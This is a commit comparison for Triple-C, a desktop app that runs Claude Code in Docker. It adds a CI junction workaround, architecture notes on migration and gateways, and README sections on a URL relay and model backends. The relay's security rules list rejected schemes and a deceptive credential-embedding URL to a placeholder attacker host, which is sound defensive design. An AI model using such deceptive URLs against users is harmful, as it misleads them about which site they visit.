Compare commits
15
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c3f92674b1 | ||
|
|
584fcdd837 | ||
|
|
2c014fd752 | ||
|
|
43e9959e40 | ||
|
|
e05156fd0e | ||
|
|
aca6c49e3c | ||
|
|
29fd7de909 | ||
|
|
98a6c8fd56 | ||
|
|
c71e54a35f | ||
|
|
b41077e799 | ||
|
|
704d3b8f79 | ||
|
|
2de00b3c55 | ||
|
|
eb1324cb16 | ||
|
|
d42b741337 | ||
|
|
cc5f691677 |
@@ -395,6 +395,39 @@ jobs:
|
||||
)
|
||||
endlocal
|
||||
|
||||
- name: Work around WOW64 redirection for 32-bit bundlers
|
||||
shell: cmd
|
||||
run: |
|
||||
rem Tauri downloads its bundlers - candle.exe, light.exe and
|
||||
rem makensis.exe - and every one of them is 32-bit. When the runner
|
||||
rem runs as SYSTEM its %LOCALAPPDATA% is under
|
||||
rem C:\Windows\System32\config\systemprofile, and WOW64 redirection
|
||||
rem serves any 32-bit process reading System32 from SysWOW64 instead -
|
||||
rem where those directories do not exist. The bundlers then cannot see
|
||||
rem their own folder: candle exits 0x80131700 and makensis reports
|
||||
rem "Unable to start child process, error 0x2". Tauri surfaces neither,
|
||||
rem only "failed to run candle.exe", which is why this is worth a
|
||||
rem comment this long.
|
||||
rem
|
||||
rem Junctioning the SysWOW64 view onto the System32 originals makes the
|
||||
rem redirected path resolve to the same files. A runner running as a
|
||||
rem normal user has a profile outside System32 and skips all of this.
|
||||
echo.%LOCALAPPDATA%| find /I "\system32\" >nul
|
||||
if errorlevel 1 goto skipwow
|
||||
|
||||
if not exist "%WINDIR%\System32\config\systemprofile\AppData\Local\tauri" mkdir "%WINDIR%\System32\config\systemprofile\AppData\Local\tauri"
|
||||
if not exist "%WINDIR%\SysWOW64\config\systemprofile\AppData\Local" mkdir "%WINDIR%\SysWOW64\config\systemprofile\AppData\Local"
|
||||
if not exist "%WINDIR%\SysWOW64\config\systemprofile\AppData\Local\tauri" mklink /J "%WINDIR%\SysWOW64\config\systemprofile\AppData\Local\tauri" "%WINDIR%\System32\config\systemprofile\AppData\Local\tauri"
|
||||
|
||||
if not exist "%WINDIR%\System32\config\systemprofile\.cache" mkdir "%WINDIR%\System32\config\systemprofile\.cache"
|
||||
if not exist "%WINDIR%\SysWOW64\config\systemprofile\.cache" mklink /J "%WINDIR%\SysWOW64\config\systemprofile\.cache" "%WINDIR%\System32\config\systemprofile\.cache"
|
||||
|
||||
echo WOW64 junctions in place for the SYSTEM profile
|
||||
goto :eof
|
||||
|
||||
:skipwow
|
||||
echo Runner profile is outside System32 - WOW64 junctions not needed
|
||||
|
||||
- name: Install Rust stable
|
||||
run: |
|
||||
where rustup >nul 2>&1 && (
|
||||
|
||||
@@ -97,12 +97,31 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
|
||||
complete against the host browser. Discovers listeners by parsing `/proc/net/tcp{,6}` (the image
|
||||
has no `ss`/`netstat`/`lsof`), binds host `127.0.0.1` **only**, and tunnels in over the Docker
|
||||
API via `socat`. Opt-in per project.
|
||||
- **`browser_view/`** — Watch and take over the browser Claude drives with Playwright inside the
|
||||
container. Runs Playwright's own dashboard (`browser.bind()` + `playwright-cli show`) in the
|
||||
container and fronts it with a **token-gated** loopback proxy. Deliberately does **not** reuse
|
||||
the auth bridge's `PortForward`, which binds an unauthenticated port — fine for a throwaway
|
||||
OAuth listener, wrong for remote control of a browser. Host ports are confined to
|
||||
`47820..=47827` because CSP `frame-src` cannot express a port range and must enumerate them;
|
||||
a unit test asserts the Rust range matches `tauri.conf.json`. Opt-in per project.
|
||||
- **`docker/`** — Docker API layer using bollard:
|
||||
- `client.rs` — Singleton Docker connection via `OnceLock`
|
||||
- `container.rs` — Container lifecycle (create, start, stop, remove, inspect)
|
||||
- `exec.rs` — Attached exec streaming. `create_attached_exec()` is the **single** place an
|
||||
attached exec is opened; terminal sessions and the auth bridge both go through it.
|
||||
- `image.rs` — Image build/pull with progress streaming
|
||||
- `gateway.rs` — Optional LiteLLM sibling container giving Claude Code an Anthropic-format
|
||||
front end for providers that only speak OpenAI (see `gateway-container/`). Mirrors `stt.rs`.
|
||||
Its bind address is **detected, never `0.0.0.0`** — unlike STT, *project containers* consume
|
||||
it, so loopback alone is not always enough: Docker Desktop gets `127.0.0.1` (containers reach
|
||||
it via `host.docker.internal`), native Linux gets the default bridge gateway (`172.17.0.1`).
|
||||
`GatewayBinding` derives the bind address and the advertised `base_url` together so they
|
||||
cannot drift. A wildcard bind would be LAN-reachable — Docker's rules precede host firewalls —
|
||||
in front of a container config holding a billed provider key. It also **always** sets a
|
||||
LiteLLM `master_key`, since LiteLLM without one accepts any key.
|
||||
- `migration.rs` — Base-image migration: manifest capture via throwaway containers, the pure
|
||||
delta computation (dpkg-ownership filter, bind-mount exclusion, verbatim-copy set), and the
|
||||
crash-recovery state machine. See "Base-image migration" below.
|
||||
- `legacy_cleanup.rs` — One-release migration shim removing leftovers from the deleted MCP
|
||||
feature (containers labelled `triple-c.mcp-server`, `triple-c-net-*` networks). Deletable once
|
||||
users have migrated.
|
||||
@@ -110,7 +129,7 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
|
||||
- `server.rs` — Axum server lifecycle (start/stop), serves embedded HTML and handles WS upgrades
|
||||
- `ws_handler.rs` — Per-connection WebSocket handler with JSON protocol, session management, cleanup on disconnect
|
||||
- `terminal.html` — Self-contained xterm.js web UI embedded via `include_str!()`
|
||||
- **`models/`** — Serde structs (`Project`, `Backend`, `BedrockConfig`, `OllamaConfig`, `OpenAiCompatibleConfig`, `ClaudeCodeSettings`, `ContainerInfo`, `AppSettings`, `WebTerminalSettings`). These define the IPC contract with the frontend.
|
||||
- **`models/`** — Serde structs (`Project`, `Backend`, `BedrockConfig`, `OllamaConfig`, `LlamaCppConfig`, `OpenAiCompatibleConfig`, `ClaudeCodeSettings`, `ContainerInfo`, `AppSettings`, `WebTerminalSettings`). These define the IPC contract with the frontend.
|
||||
- **`storage/`** — Persistence: `projects_store.rs` (JSON file with atomic writes), `secure.rs` (OS keychain via `keyring` crate), `settings_store.rs`
|
||||
|
||||
### Container (`container/`)
|
||||
@@ -119,6 +138,23 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
|
||||
- **`entrypoint.sh`** — UID/GID remapping to match host user, SSH key setup, git config, docker socket permissions, Claude Code settings.json injection, then `sleep infinity`
|
||||
- **`triple-c-scheduler`** — Bash-based scheduled task system for recurring Claude Code invocations
|
||||
|
||||
**`/home/claude` in the image is seed-only.** It is the mount point of the named volume
|
||||
`triple-c-home-{projectId}`, so after a project's *first* start the image's copy of that directory
|
||||
is masked permanently and can never be updated again. A change you make under `/home/claude` in
|
||||
the `Dockerfile` or in `entrypoint.sh`'s "copy this into the home dir" style reaches **new
|
||||
projects only** — existing ones will never see it, with or without a base-image migration.
|
||||
|
||||
So: **anything that must stay upgradable belongs in `/usr/local/bin` or `/opt`, or must be seeded
|
||||
by `entrypoint.sh` at runtime** (i.e. written on every start, from a source outside the home
|
||||
volume, the way `CLAUDE_INSTRUCTIONS` → `~/.claude/CLAUDE.md` and the Mission Control skill copy
|
||||
already are). Putting it in the image's `/home/claude` and expecting an image update to deliver it
|
||||
is the mistake.
|
||||
|
||||
The flip side is the useful half of the same fact: Claude Code itself (`~/.local/bin`), cargo, uv,
|
||||
ruff, the OAuth login, `~/.claude.json`, skills, transcripts, scheduler tasks and SSH keys all
|
||||
re-attach for free when a container is recreated from a *different* image — which is what makes
|
||||
base-image migration cheap.
|
||||
|
||||
### Container Lifecycle
|
||||
|
||||
Containers use a **stop/start** model (not create/destroy). Installed packages persist across stops. The `.claude` config dir uses a named Docker volume (`triple-c-claude-config-{projectId}`), nested inside the home volume (`triple-c-home-{projectId}`), so OAuth tokens and Claude Code config survive container stop/start *and* container recreation.
|
||||
@@ -129,13 +165,72 @@ Containers use a **stop/start** model (not create/destroy). Installed packages p
|
||||
intentional (Reset exists to get back to a clean base image), but do not describe Reset as
|
||||
preserving credentials.
|
||||
|
||||
### Base-image migration (`docker/migration.rs`, `commands/migration_commands.rs`)
|
||||
|
||||
A container is created from `triple-c-snapshot-{projectId}:latest` whenever that image exists, and
|
||||
every recreation re-commits it — so without an explicit act, a project stays on the base image it
|
||||
was first built from **forever** and never picks up a new `socat`, a new `/usr/local/bin` shim or a
|
||||
security update. Migration is the non-destructive way out; Reset is the destructive one.
|
||||
|
||||
- **Staleness is a surfaced signal, not an automatic trigger.** `triple-c.base-image-id` records
|
||||
the lineage but is deliberately **not** compared in `container_needs_recreation` — see the long
|
||||
comment there. Comparing it would recreate every project *from its own snapshot* on the next base
|
||||
bump: churn on the old base, and it would consume the "you should migrate" signal without
|
||||
migrating. `get_container_staleness` surfaces it; `migrate_project_to_base` acts on it.
|
||||
- **A missing lineage label means "unknown, probe instead", never "stale".**
|
||||
- **`:latest` keeps pointing at the old lineage until the final commit.** That is what makes every
|
||||
crash before that point self-heal — `start_project_container` just recreates from the old
|
||||
snapshot. After the container swap, the new container's `triple-c.migration-state=in-progress`
|
||||
label plus the persisted state file let `reconcile_project_statuses` offer resume or rollback.
|
||||
- **Rollback restores the system layer only.** The volumes are never touched at any point, so work
|
||||
done in `$HOME` during a migrated session survives a rollback. Say so in any UI copy.
|
||||
- **`/var` is never copied either, and that is the one way migration is *more* destructive than
|
||||
the ordinary recreate.** A recreate builds from the project's snapshot, so `/var/lib/postgresql`
|
||||
rides along; a migration builds from the base and the apt replay hands back an empty cluster.
|
||||
Copying a live database's files onto a different base's version of the same package is a
|
||||
corruption risk, not a fix — so the answer is disclosure. `unpreserved_data()` reports
|
||||
first-level directories under `/var/lib` and `/var/www` that the base does not ship *and* that
|
||||
hold non-dpkg-owned files (which is what keeps `/var/lib/apt` and `/var/lib/dpkg` out of it),
|
||||
and the pre-flight, the banner and the finished report all name them. Do not make this silent.
|
||||
- **The rollback pin is not best-effort.** After `commit_container_snapshot` the commit is the only
|
||||
copy of the old system layer, so a `docker tag` that fails — or succeeds without the reference
|
||||
resolving — aborts the migration before `remove_container`. Same rule in reverse for
|
||||
`rollback_migration`: the image is confirmed to exist before the container is destroyed.
|
||||
- **`resume` must check the container's `triple-c.migration-state` label**, exactly as
|
||||
`reconcile_migration` does. Without it a record left behind by a failed commit "resumes" into
|
||||
the *old, unmigrated* container and commits it as migrated.
|
||||
- **Anything that stops, removes or recreates a project's container consults
|
||||
`migration_commands::is_migrating`.** The window between `remove_container` and the create that
|
||||
follows looks exactly like "no container" to Start, and Reset would delete the volumes out from
|
||||
under a live run.
|
||||
- **`/etc` is never copied**, only reported: the snapshot lineage has
|
||||
`/etc/apt/sources.list.d/nodesource.sources` where the current base has `nodesource.list`, and
|
||||
having both breaks every `apt-get update` on a duplicate source. Verified, not theoretical.
|
||||
- **`docker diff` is useless here** — on a snapshot-derived container it reports only changes since
|
||||
the last commit. Migration diffs two filesystem manifests instead, filtered through dpkg
|
||||
ownership and presence-in-the-new-base. Measured on a real project, that turns 8,677 raw path
|
||||
differences into 2 genuinely user-authored ones.
|
||||
|
||||
### Authentication
|
||||
|
||||
Per-project, independently configured:
|
||||
- **Anthropic (OAuth)** — `claude login` in terminal, token persists in config volume
|
||||
- **AWS Bedrock** — Static keys, profile, or bearer token injected as env vars
|
||||
- **Ollama** — Connect to a local or remote Ollama server via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:11434`)
|
||||
- **OpenAI Compatible** — Connect through any OpenAI API-compatible endpoint (LiteLLM, OpenRouter, vLLM, etc.) via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`
|
||||
- **llama.cpp** — Connect to a local or remote `llama-server` via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:8080`, its default port)
|
||||
- **OpenAI Compatible** — Connect through a gateway implementing the **Anthropic Messages API** (LiteLLM) via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`
|
||||
|
||||
**Claude Code only ever speaks the Anthropic Messages API** (`POST /v1/messages?beta=true`) to
|
||||
`ANTHROPIC_BASE_URL` — never OpenAI's `/v1/chat/completions`. Ollama and llama.cpp implement
|
||||
`/v1/messages` natively, which is why each gets a plain base-URL backend with no translation shim.
|
||||
A server that only exposes an OpenAI-shaped API does not work behind any backend.
|
||||
|
||||
For every backend pointing at a custom endpoint (`Backend::uses_custom_endpoint`), all four
|
||||
`ANTHROPIC_DEFAULT_{OPUS,SONNET,HAIKU,FABLE}_MODEL` vars are pinned to the backend's configured
|
||||
model id, with an optional per-backend Haiku override. Without this, Claude Code's background
|
||||
calls resolve `haiku` to an Anthropic model id the local server does not have and fail silently.
|
||||
Anthropic and Bedrock deliberately keep Claude Code's own defaults.
|
||||
`ANTHROPIC_SMALL_FAST_MODEL` is deprecated and must not be used.
|
||||
|
||||
## Styling
|
||||
|
||||
@@ -157,6 +252,16 @@ Per-project, independently configured:
|
||||
environment or configuration, you must also write a corresponding `triple-c.*` label at creation
|
||||
and compare it there, or the change will silently not take effect until some unrelated setting
|
||||
forces a rebuild. Never put a secret in a label; labels are readable via `docker inspect`.
|
||||
(`triple-c.base-image-id` is the one deliberate exception — it is written but not compared; the
|
||||
reasoning is in the comment beside the check.)
|
||||
- **Always write a `triple-c.*` label explicitly, even when the value is empty.** Docker merges an
|
||||
image's labels into a container's at creation, and `docker commit` copies container labels onto
|
||||
the snapshot image — so a label stamped once rides that snapshot into *every* future container
|
||||
forever. Verified on this host, and it is not hypothetical: `triple-c.mcp-fingerprint` has not
|
||||
been written by any code since the MCP feature was removed, yet a snapshot image was found still
|
||||
carrying a non-empty one, which made its one-shot recreation shim recreate that project on every
|
||||
single start. Writing the key explicitly overrides the inherited value — the same defence
|
||||
`MANAGED_AUTH_KEYS` applies to env vars.
|
||||
- **New model fields need an explicit serde default when the correct default isn't the zero value.**
|
||||
`#[serde(default)]` on a `bool` yields `false`; follow the `default_full_permissions` pattern in
|
||||
`models/project.rs` for anything that should default to true.
|
||||
|
||||
+223
-12
@@ -14,10 +14,13 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code
|
||||
- [Permission Modes](#permission-modes)
|
||||
- [Project Configuration](#project-configuration)
|
||||
- [Shared Claude Authentication](#shared-claude-authentication)
|
||||
- [Opening URLs in Your Browser (URL Relay)](#opening-urls-in-your-browser-url-relay)
|
||||
- [Browser Logins Inside the Container (Auth Bridge)](#browser-logins-inside-the-container-auth-bridge)
|
||||
- [AWS Bedrock Configuration](#aws-bedrock-configuration)
|
||||
- [Ollama Configuration](#ollama-configuration)
|
||||
- [llama.cpp Configuration](#llamacpp-configuration)
|
||||
- [OpenAI Compatible Configuration](#openai-compatible-configuration)
|
||||
- [Model Aliases and Background Calls](#model-aliases-and-background-calls)
|
||||
- [Settings](#settings)
|
||||
- [Web Terminal (Remote Access)](#web-terminal-remote-access)
|
||||
- [Terminal Features](#terminal-features)
|
||||
@@ -58,8 +61,9 @@ You need access to Claude Code through one of:
|
||||
|
||||
- **Anthropic account** — Sign up at https://claude.ai and use `claude login` (OAuth) inside the terminal
|
||||
- **AWS Bedrock** — An AWS account with Bedrock access and Claude models enabled
|
||||
- **Ollama** — A local or remote Ollama server running an Anthropic-compatible model (best-effort support)
|
||||
- **OpenAI Compatible** — Any OpenAI API-compatible endpoint (LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, etc.) (best-effort support)
|
||||
- **Ollama** — A local or remote Ollama server (best-effort support)
|
||||
- **llama.cpp** — A local or remote `llama-server` (best-effort support)
|
||||
- **OpenAI Compatible** — A gateway that implements the **Anthropic Messages API**, such as LiteLLM (best-effort support). A server that only speaks OpenAI's `/v1/chat/completions` will not work — see [OpenAI Compatible Configuration](#openai-compatible-configuration).
|
||||
|
||||
---
|
||||
|
||||
@@ -142,11 +146,18 @@ Anthropic-backend project uses that token without its own login. See
|
||||
4. Make sure the model has been pulled in Ollama (e.g., `ollama pull qwen3.5:27b`) or used via Ollama cloud before starting.
|
||||
5. Start the container again.
|
||||
|
||||
**llama.cpp:**
|
||||
|
||||
1. Stop the container first (most settings can only be changed while stopped).
|
||||
2. Open the project's **Config** tab and, under **Model**, set **Backend** to **llama.cpp**.
|
||||
3. Set the base URL of your `llama-server` (defaults to `http://host.docker.internal:8080`, `llama-server`'s default port). Set the **Model** to the model it is serving.
|
||||
4. Start the container again.
|
||||
|
||||
**OpenAI Compatible:**
|
||||
|
||||
1. Stop the container first (most settings can only be changed while stopped).
|
||||
2. Open the project's **Config** tab and, under **Model**, set **Backend** to **OpenAI Compatible**.
|
||||
3. Set the base URL of your OpenAI-compatible endpoint (defaults to `http://host.docker.internal:4000` as an example). Optionally set an API key and model.
|
||||
3. Set the base URL of your gateway (defaults to `http://host.docker.internal:4000`, LiteLLM's default port). Optionally set an API key and model.
|
||||
4. Start the container again.
|
||||
|
||||
---
|
||||
@@ -498,6 +509,10 @@ This lives in the sidebar under **Settings → Claude Authentication**.
|
||||
code to copy — this flow finishes on an Anthropic-hosted page, not a local callback.
|
||||
4. Paste the code back into Triple-C. The token is captured and written straight to the keychain.
|
||||
|
||||
The code is long and easy to truncate. If Anthropic refuses it, the dialog says so and lets you
|
||||
paste another one without restarting the sign-in — the CLI is still waiting. After a few refusals
|
||||
the flow gives up and reports it rather than sitting there.
|
||||
|
||||
Only one sign-in can run at a time, and the whole flow times out after 15 minutes. A long-lived
|
||||
token requires a Claude subscription; without one, `setup-token` finishes without printing a token
|
||||
and nothing is stored.
|
||||
@@ -505,7 +520,7 @@ and nothing is stored.
|
||||
### How the token is used
|
||||
|
||||
- It is injected only into projects whose backend is **Anthropic** — it means nothing to Bedrock,
|
||||
Ollama or an OpenAI-compatible endpoint.
|
||||
Ollama, llama.cpp or an OpenAI-compatible gateway.
|
||||
- Each project can opt out under **Config → Model** ("Use the shared Claude token"). Projects are
|
||||
opted **in** by default, so a single sign-in covers your whole fleet; opt a project out if you
|
||||
want it pinned to its own `claude login` identity.
|
||||
@@ -527,6 +542,95 @@ is next started, at which point the same recreation clears the variable.
|
||||
|
||||
---
|
||||
|
||||
## Opening URLs in Your Browser (URL Relay)
|
||||
|
||||
There is no browser inside the container and no screen to put one on. Any tool that tries to open
|
||||
a web page therefore fails, usually with something unhelpful like *"Couldn't find a suitable web
|
||||
browser!"*. The **URL relay** fixes that: when a command inside the container asks for a browser,
|
||||
the URL is handed to **your** browser on the host.
|
||||
|
||||
Nothing is displayed or forwarded from the container — only the URL travels.
|
||||
|
||||
It is always on and needs no configuration.
|
||||
|
||||
### What you see
|
||||
|
||||
A small bar appears at the top of the terminal reading **"Container asked to open a URL"**, with
|
||||
the URL and an **Open** button. Click **Open** and the page loads in your normal browser, signed
|
||||
in as you. The prompt disappears on its own after 30 seconds if you ignore it.
|
||||
|
||||
Triple-C asks rather than opening pages by itself. The container is sandboxed code — some of it
|
||||
written by Claude a minute ago — and silently making your logged-in browser visit a URL it chose
|
||||
is not something to hand over automatically. One click keeps that decision yours.
|
||||
|
||||
### Which commands benefit
|
||||
|
||||
Anything that opens a browser to authenticate or to show you a page:
|
||||
|
||||
| Command | What it wanted a browser for |
|
||||
|---|---|
|
||||
| `gh auth login` | GitHub device / OAuth login |
|
||||
| `aws sso login` | AWS IAM Identity Center login |
|
||||
| `gcloud auth login` | Google Cloud login |
|
||||
| `az login` | Azure login |
|
||||
| `vercel login`, `netlify login`, `fly auth login`, `heroku login`, `wrangler login` | Vendor CLI logins |
|
||||
| `npm login`, `supabase login`, `doctl auth init` | Token / device flows |
|
||||
| `xdg-open <url>` in any script | Opening a page directly |
|
||||
| `python3 -m webbrowser <url>` | Anything using Python's `webbrowser` module |
|
||||
|
||||
Under the hood the container provides a stand-in browser at `/usr/local/bin/triple-c-open`,
|
||||
installed under all the names tools look for — `xdg-open`, `sensible-browser`, `www-browser`,
|
||||
`x-www-browser`, `gnome-open`, `gvfs-open`, `kde-open`, `open` — and as the `$BROWSER`
|
||||
environment variable, which most of the CLIs above consult first. You can also call
|
||||
`triple-c-open <url>` yourself.
|
||||
|
||||
It works even when the command is run *by* Claude Code rather than typed by you: the relay talks
|
||||
to the terminal directly, not through the command's output, so being nested inside a tool call
|
||||
does not break it.
|
||||
|
||||
### When no terminal is attached
|
||||
|
||||
The relay rides on the terminal session. If nothing is attached to the container, there is nothing
|
||||
to relay through:
|
||||
|
||||
- **Scheduled tasks** (Automation tab) run from cron with no terminal at all.
|
||||
- A shell you opened with your own `docker exec`, outside Triple-C.
|
||||
|
||||
In those cases the relay does **not** hang or wait. It prints the URL in plain text and returns
|
||||
immediately:
|
||||
|
||||
```
|
||||
triple-c-open: no Triple-C terminal attached — cannot reach the host browser.
|
||||
triple-c-open: open this URL manually:
|
||||
https://github.com/login/device?user_code=WXYZ-1234
|
||||
```
|
||||
|
||||
For a scheduled task that text lands in the task log (**Project Home → Automation → Logs**), so
|
||||
you can still finish the login yourself afterwards. Practically speaking: don't expect an
|
||||
unattended scheduled task to complete an interactive browser login. Authenticate once from a
|
||||
terminal session — the credentials persist in the project's config volume — and let the scheduled
|
||||
runs use them.
|
||||
|
||||
### Security
|
||||
|
||||
Requests coming out of the container are treated as untrusted input, because that is what they
|
||||
are:
|
||||
|
||||
- **Only `http://` and `https://` are ever opened.** `file://`, `javascript:`, `data:` and every
|
||||
custom protocol handler your OS has registered are rejected outright. A container that could
|
||||
make the host open arbitrary URI schemes would have a way out of the sandbox.
|
||||
- URLs with embedded credentials (`https://github.com@evil.example/`) are rejected — they
|
||||
misrepresent which site you are about to visit.
|
||||
- Control characters, whitespace and oversized payloads are rejected before parsing, so the relay
|
||||
cannot be used to smuggle terminal escape sequences into the UI.
|
||||
- The URL is shown to you in its normalized form: what the prompt displays is exactly what opens.
|
||||
- Prompts are rate-limited (a handful per ten seconds, with repeats of the same URL collapsed), so
|
||||
a runaway loop in the container cannot bury the interface.
|
||||
|
||||
The relay only *asks*. Nothing opens without your click.
|
||||
|
||||
---
|
||||
|
||||
## Browser Logins Inside the Container (Auth Bridge)
|
||||
|
||||
Some CLIs log you in by opening a browser and waiting for the browser to call back to a temporary
|
||||
@@ -607,10 +711,13 @@ To use Claude Code with a local or remote Ollama server, set **Backend** to **Ol
|
||||
|
||||
- **Base URL** — The URL of your Ollama server. Defaults to `http://host.docker.internal:11434`, which reaches a locally running Ollama instance from inside the container. For a remote server, use its IP or hostname (e.g., `http://192.168.1.100:11434`).
|
||||
- **Model ID** — **Required.** The model to use (e.g., `qwen3.5:27b`). The model must be pulled in Ollama before use — run `ollama pull <model>` or use it via Ollama cloud so it is available when the container starts.
|
||||
- **Background model** — Optional. See [Model Aliases and Background Calls](#model-aliases-and-background-calls). Leave blank to reuse the Model ID above.
|
||||
|
||||
Global defaults for all three live under **Settings → Backends → Ollama Configuration** and are used whenever the matching per-project field is blank.
|
||||
|
||||
### How It Works
|
||||
|
||||
Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your Ollama server instead of Anthropic's API. The `ANTHROPIC_AUTH_TOKEN` is set to `ollama` (required by Claude Code but not used for actual authentication).
|
||||
Ollama natively implements the Anthropic Messages API at `POST /v1/messages`, which is the only thing Claude Code ever sends. Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your Ollama server instead of Anthropic's API. The `ANTHROPIC_AUTH_TOKEN` is set to `ollama` (required by Claude Code but not used for actual authentication). The `ANTHROPIC_DEFAULT_*_MODEL` aliases are pinned to your model — see [Model Aliases and Background Calls](#model-aliases-and-background-calls).
|
||||
|
||||
> **Note:** Ollama support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models.
|
||||
|
||||
@@ -618,24 +725,106 @@ Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your Ollama server in
|
||||
|
||||
---
|
||||
|
||||
## OpenAI Compatible Configuration
|
||||
## llama.cpp Configuration
|
||||
|
||||
To use Claude Code through any OpenAI API-compatible endpoint, set **Backend** to **OpenAI Compatible** under **Config → Model**. This works with any server that exposes an OpenAI-compatible API, including LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, and others.
|
||||
To use Claude Code with a local or remote `llama-server` (from [llama.cpp](https://github.com/ggml-org/llama.cpp)), set **Backend** to **llama.cpp** under **Config → Model**.
|
||||
|
||||
`llama-server` implements the Anthropic Messages API natively — `POST /v1/messages` and `POST /v1/messages/count_tokens` — so Claude Code talks to it directly, with no translation layer in between.
|
||||
|
||||
### Settings
|
||||
|
||||
- **Base URL** — The URL of your OpenAI-compatible endpoint. Defaults to `http://host.docker.internal:4000` as an example (adjust to match your server's address and port).
|
||||
- **API Key** — Optional. The API key for your endpoint, if authentication is required. Stored securely in your OS keychain.
|
||||
- **Model ID** — Optional. Override the model to use.
|
||||
- **Base URL** — The URL of your `llama-server`. Defaults to `http://host.docker.internal:8080`; **8080** is `llama-server`'s own default port (`--port PORT | port to listen (default: 8080)`). For a remote server, use its IP or hostname.
|
||||
- **Model ID** — The model `llama-server` is serving. A `llama-server` process serves one model, so this is mostly the id Claude Code reports — but it is also what the model aliases are pinned to, so setting it matters.
|
||||
- **Background model** — Optional. See [Model Aliases and Background Calls](#model-aliases-and-background-calls). Leave blank to reuse the Model ID above.
|
||||
|
||||
Global defaults for all three live under **Settings → Backends → llama.cpp Configuration** and are used whenever the matching per-project field is blank.
|
||||
|
||||
### Starting llama-server
|
||||
|
||||
```bash
|
||||
llama-server -m /path/to/model.gguf --port 8080 --host 0.0.0.0
|
||||
```
|
||||
|
||||
`--host 0.0.0.0` matters: `llama-server` binds `127.0.0.1` by default, which the container cannot reach through `host.docker.internal`.
|
||||
|
||||
### How It Works
|
||||
|
||||
Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your OpenAI-compatible endpoint. If an API key is provided, it is set as `ANTHROPIC_AUTH_TOKEN`.
|
||||
Triple-C sets `ANTHROPIC_BASE_URL` to your `llama-server`, and `ANTHROPIC_AUTH_TOKEN` to the placeholder `llama.cpp`. `llama-server` only checks the `Authorization` header when it was started with `--api-key` (default: none), so the value is ignored in the usual case — but Claude Code requires *some* credential to be present, so one is always sent.
|
||||
|
||||
> **Note:** llama.cpp support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models.
|
||||
|
||||
---
|
||||
|
||||
## OpenAI Compatible Configuration
|
||||
|
||||
To route Claude Code through a gateway, set **Backend** to **OpenAI Compatible** under **Config → Model**.
|
||||
|
||||
> **The name is misleading, and the distinction matters.** Claude Code only ever sends
|
||||
> `POST /v1/messages?beta=true` in **Anthropic Messages** format to `ANTHROPIC_BASE_URL`. It never
|
||||
> calls OpenAI's `/v1/chat/completions`. So this backend requires an endpoint that implements the
|
||||
> **Anthropic Messages API** — **LiteLLM** does, and works. A server that exposes only an
|
||||
> OpenAI-compatible API (plain vLLM, text-generation-inference, LocalAI, OpenRouter, …) will
|
||||
> **not** work here; put an Anthropic-shaped gateway such as LiteLLM in front of it.
|
||||
> For Ollama and llama.cpp, use their own backends — both implement `/v1/messages` natively.
|
||||
>
|
||||
> (The backend name is kept as-is so existing projects keep working.)
|
||||
|
||||
### Settings
|
||||
|
||||
- **Base URL** — The URL of your gateway. Defaults to `http://host.docker.internal:4000`, LiteLLM's default port (adjust to match your server's address and port).
|
||||
- **API Key** — Optional. The API key for your endpoint, if authentication is required. Stored securely in your OS keychain.
|
||||
- **Model ID** — Optional. Override the model to use.
|
||||
- **Background model** — Optional. See [Model Aliases and Background Calls](#model-aliases-and-background-calls). Leave blank to reuse the Model ID above.
|
||||
|
||||
Global defaults for the base URL, model and background model live under **Settings → Backends → OpenAI Compatible Configuration**.
|
||||
|
||||
### How It Works
|
||||
|
||||
Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your gateway. If an API key is provided, it is set as `ANTHROPIC_AUTH_TOKEN`.
|
||||
|
||||
> **Note:** OpenAI Compatible support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected when routing to non-Anthropic models through the endpoint.
|
||||
|
||||
---
|
||||
|
||||
## Model Aliases and Background Calls
|
||||
|
||||
Claude Code has four model aliases — `opus`, `sonnet`, `haiku` and `fable`. Left alone they resolve
|
||||
to **Anthropic's** model IDs. A local server has never heard of those IDs, so every call that goes
|
||||
through an alias fails, usually with no visible error.
|
||||
|
||||
The one that bites hardest is `haiku`: `ANTHROPIC_DEFAULT_HAIKU_MODEL` is documented as *"Model ID
|
||||
that the `haiku` alias resolves to, also used for background functionality"* — conversation titles,
|
||||
summaries, and other out-of-band work. If it is wrong, those quietly stop happening.
|
||||
|
||||
So for every backend that points at a custom endpoint — **Ollama**, **llama.cpp** and **OpenAI
|
||||
Compatible** — Triple-C sets all four:
|
||||
|
||||
| Variable | Value |
|
||||
|---|---|
|
||||
| `ANTHROPIC_DEFAULT_OPUS_MODEL` | your configured **Model ID** |
|
||||
| `ANTHROPIC_DEFAULT_SONNET_MODEL` | your configured **Model ID** |
|
||||
| `ANTHROPIC_DEFAULT_HAIKU_MODEL` | your **Background model**, or the **Model ID** if that is blank |
|
||||
| `ANTHROPIC_DEFAULT_FABLE_MODEL` | your configured **Model ID** |
|
||||
|
||||
**Leaving Background model blank is the right default.** A local server almost always serves one
|
||||
model, and pointing every alias at it is what makes background work succeed.
|
||||
|
||||
Set **Background model** only if you serve a second, smaller model you would rather spend on titles
|
||||
and summaries. It moves the Haiku alias alone; the other three still follow **Model ID**. It is
|
||||
available per-project (Config → Model) and globally (Settings → Backends), with the usual
|
||||
per-project-overrides-global rule.
|
||||
|
||||
Notes:
|
||||
|
||||
